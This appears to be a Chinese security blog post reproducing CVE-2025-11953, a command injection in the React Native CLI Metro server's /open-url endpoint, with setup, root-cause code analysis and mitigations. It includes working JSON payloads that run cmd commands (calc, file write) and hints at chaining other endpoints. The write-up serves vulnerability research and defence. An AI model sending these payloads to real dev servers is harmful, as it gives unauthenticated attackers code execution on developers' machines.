React Native Community CLI命令执行 | CVE-2025-11953 复现&研究

0x0 背景介绍

React Native 社区 CLI 启动的 Metro 开发服务器默认绑定到外部接口。该服务器暴露了一个存在操作系统命令注入漏洞的端点。这允许未经身份验证的网络攻击者向服务器发送 POST 请求并运行任意可执行文件。在Windows系统上,攻击者还可以执行带有完全控制参数的任意 shell 命令。

0x1 环境搭建

1.Win10环境复现

2.项目配置

PS:我这里是通过降级的版本还原的环境,貌似可以直接指定cli版本,大家可以研究下

  • 预安装项目
bash 复制代码
npx @react-native-community/cli init MyApp --version 0.82.1
  • 成功后进行拉取资源
bash 复制代码
cd MyApp
npm install
  • 这里启动与否没有必要, 这时项目的cli版本是 20.0.0版本,无法复现,如下:
bash 复制代码
npm list @react-native-community/cli-server-api
MyApp@0.0.1 C:\Users\txt\Desktop\MyApp
`-- @react-native-community/cli@20.0.0
  `-- @react-native-community/cli-server-api@20.0.0

3.降级搭建

  • A.所以修改下项目中的package.json文件,降级cli版本!
json 复制代码
    "@react-native-community/cli": "19.1.0",
    "@react-native-community/cli-server-api": "19.1.0",
  • B.删除package-lock.json文件并清空node_modules文件夹
  • C.这时候在重新拉取,就可以启动项目了
bash 复制代码
npm install
npm start

0x2 漏洞复现

手动复现步骤

  • 命令行进行curl探测

  • cli控制在20.0版本-我当时搭建13.xx版本貌似也无法复现,追查源码是不同的

YML检测

bash 复制代码
https://github.com/Kai-One001/cve-/blob/main/React_native_cI_cve_2025_11953.yml

复现流量特征 (PACP)

0、弹出计算器

2、写入文件

3、其它操作·打开默认浏览器访问网站

4、其它操作·创建用户-失败

反思可能是权限的问题,使用管理员运行项目也无法创建,可能Node.js(或者 Metro)进程权限有关系

5、发现一些其它接口-open-stack-frame,貌似是用于在编辑器中打开源码文件,估计有其它手段(谨慎组合拳)

0x3 漏洞原理分析

漏洞定位:从补丁反推攻击面

  • ╰(°▽°)╯太喜欢有补丁提交的项目了,直接查看最新变动文件,锁定文件
  • 漏洞文件:openURLMiddleware.ts
  • 文件位置:packages/cli-server-api/src/openURLMiddleware.ts
ts 复制代码
/**
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */

import type {IncomingMessage, ServerResponse} from 'http';

import {json} from 'body-parser';
import connect from 'connect';
import open from 'open';

/**
 * Open a URL in the system browser.
 */
async function openURLMiddleware(
  req: IncomingMessage & {
    // Populated by body-parser
    body?: Object;
  },
  res: ServerResponse,
  next: (err?: Error) => void,
) {
  if (req.method === 'POST') {
    if (req.body == null) {
      res.writeHead(400);
      res.end('Missing request body');
      return;
    }

    const {url} = req.body as {url: string};

    await open(url);

    res.writeHead(200);
    res.end();
  }

  next();
}

export default connect().use(json()).use(openURLMiddleware);
  • 注意open函数,逻辑大体是接收 POST JSON 请求,提取 url 字段,未见任何限制
  • 调用open(url) 打开该 URL(预期是 https://... 或 http://...
  • 安全编码基本原则:永远不要信任用户输入

顺腾摸瓜

  • 在项目中查询cli所使用的版本是6.4.0
bash 复制代码
E:\MyApp>npm list open
MyApp@0.0.1 E:\MyApp
+-- @react-native-community/cli-server-api@19.1.0
| `-- open@6.4.0
`-- react-native@0.82.1
  `-- @react-native/community-cli-plugin@0.82.1
    `-- @react-native/dev-middleware@0.82.1
      `-- open@7.4.2
  • 然而openwin项目的特性是cmd启动传入的参数,只此一项结合cli的完全信任用户输入参数,导致漏洞产生
bash 复制代码
当调用 open(userInput) 时,open@6.4.0 内部执行如下操作
1、选择命令解释器方式为"cmd"模式运行
2、构造参数数组-cliArguments数组:['/c', 'start', '""', '/b']
3、转义 & 和 ^,这target string是项目中传入的。
4、target将字符串添加到cliArguments
拼接并执行命令:
childProcess.spawn(command, cliArguments, childProcessOptions);
childProcess.spawn('cmd', ['/c', 'start', '""', '/b', target], options);
  • 由于 使用open()时也没有区分"URL"与"本地命令",就可以构造恶意 payload,如:
bash 复制代码
{"url": "cmd /c echo abc > C:\\Windows\\Temp\\proof.txt"} 
最终触发命令:
cmd /c start "" /b cmd /c echo abc ^> C:\Windows\Temp\proof.txt

接口暴露根源:无鉴权的中间件注册

  • 到项目根下找路由,定位到文件:packages/cli-server-api/src/index.ts
  • 关键代码片段如下:
ts 复制代码
xport function createDevServerMiddleware(options: MiddlewareOptions) {
  const messageSocketEndpoint = createMessageSocketEndpoint();
  const broadcast = messageSocketEndpoint.broadcast;

  const eventsSocketEndpoint = createEventsSocketEndpoint(broadcast);

  const middleware = connect()
    .use(securityHeadersMiddleware(options))
    // @ts-ignore compression and connect types mismatch
    .use(compression())
    .use(nocache())
    .use('/', indexPageMiddleware)
    .use('/open-stack-frame', openStackFrameMiddleware(options))
    .use('/open-url', openURLMiddleware)
    .use('/status', statusPageMiddleware)
    // @ts-ignore mismatch
    .use('/systrace', systraceProfileMiddleware)
    .use('/reload', (_req: http.IncomingMessage, res: http.ServerResponse) => {
      broadcast('reload');
      res.end('OK');
    })
  • 未添加任何身份认证(Authentication)或来源限制(如 Host/Origin 校验)

  • 所有注册的中间件(包括 /open-url)对任意 IP HTTP请求开放

  • 完整的攻击数据流如下:

bash 复制代码
[人]
     │
     ↓ POST /open-url {"url": "cmd /c calc"}
[React Native Metro Server (localhost:8081)]
     │
     ↓ 路由匹配 → index.ts 中注册的 openURLMiddleware
     ↓ 提取 body.url(无校验)
     ↓ 调用 open(url) → open@6.4.0
     ↓ 构造 cmd /c start "" /b cmd /c calc
     ↓ childProcess.spawn() → 执行系统命令
[Windows System]
     │
     ↓ 弹出计算器(RCE 成功)

0x4 修复建议

修复方案

  1. 升级到安全版本:厂商已提供漏洞修补方案github-cli-20.0.0
  2. 临时缓解措施:
    强制只监听本地回环地址: npx react-native start --host 127.0.0.1
    防火墙限制 8081 端口: 非必要不开放
    使用 WAF 规则拦截 敏感命令

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐
Aevget15 小时前
界面组件Kendo UI for React 2025 Q3亮点 - AI功能全面提升
人工智能·react.js·ui·界面控件·kendo ui·ui开发
Aerelin15 小时前
爬虫playwright入门讲解
前端·javascript·html·playwright
艾为电子16 小时前
【应用方案】“会呼吸”的电竞键盘:艾为灯语®让光与你并肩作战
经验分享·键盘
笙年16 小时前
JavaScript Promise,包括构造函数、对象方法和类方法
开发语言·javascript·ecmascript
我就是全世界16 小时前
DeepSeek-V3.2三大突破:DSA架构降本50%、RL算力超预训练10%、Agent合成数据
经验分享
桜吹雪16 小时前
LangChain.js/DeepAgents可观测性
javascript·人工智能
灵魂学者16 小时前
Vue3.x —— 父子通信
前端·javascript·vue.js·github
PitayaDog17 小时前
(二)React19+TS基础进阶与实战完全指南
react.js
芳草萋萋鹦鹉洲哦18 小时前
【vue/js】文字超长悬停显示的几种方式
前端·javascript·vue.js
老朱佩琪!18 小时前
Debug经验分享
经验分享